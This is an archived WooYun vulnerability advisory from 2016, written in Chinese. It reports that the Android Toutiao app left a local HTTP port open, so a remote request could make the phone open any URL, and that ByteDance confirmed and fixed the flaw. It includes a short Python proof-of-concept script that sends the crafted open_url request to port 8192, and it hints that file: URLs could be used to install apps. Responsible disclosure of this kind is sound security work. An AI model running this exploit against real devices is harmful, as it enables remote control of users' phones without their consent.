当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0179538

漏洞标题:今日头条开放端口可导致远程在用户手机打开任意网站url

相关厂商:字节跳动

漏洞作者: 爱宝宝的粑粑

提交时间:2016-02-29 16:54

修复时间:2016-06-02 19:20

公开时间:2016-06-02 19:20

漏洞类型:远程代码执行

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

简要描述:

android版今日头条app,开放了端口,可以送数据给这个端口,特定的数据可导致访问任意url

详细说明:

开启一个http server,来监听这个端口。端口号从本身shared_prefs目录下的
multi_process_config.xml文件内获得

22.png


它用的是NanoHTTPD来实现的一个http server,http server收到数据后,进行解析,然后进行处理,一般是返回一个http应答,然后不做别的事情。
但是当header满足 GET /xxx?open_url=yyy 形式的时候,程序会执行这些代码

33.png


监听com.ss.android.action.openurl的receiver,会把 extra拿出来,当成Intent的data,也就是我们传入的URL,然后调起来Activity:
这样,就可以远程操控手机打开任意的URL了

漏洞证明:

import httplib
ip = "**.**.**.**"
port = 8192
conn = httplib.HTTPConnection(ip,port)
conn.request("GET","/detail?open_url=http://**.**.**.**")
r1 = conn.getresponse()
print r1.status, r1.reason
data = r1.read()
print data


55.png


file:开头的URL,可用来安装app,或打开本地文件,这里就不描述了

修复方案:

版权声明:转载请注明来源 爱宝宝的粑粑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-04 19:13

厂商回复:

确认问题存在,已经处理。感谢提醒

最新状态:

暂无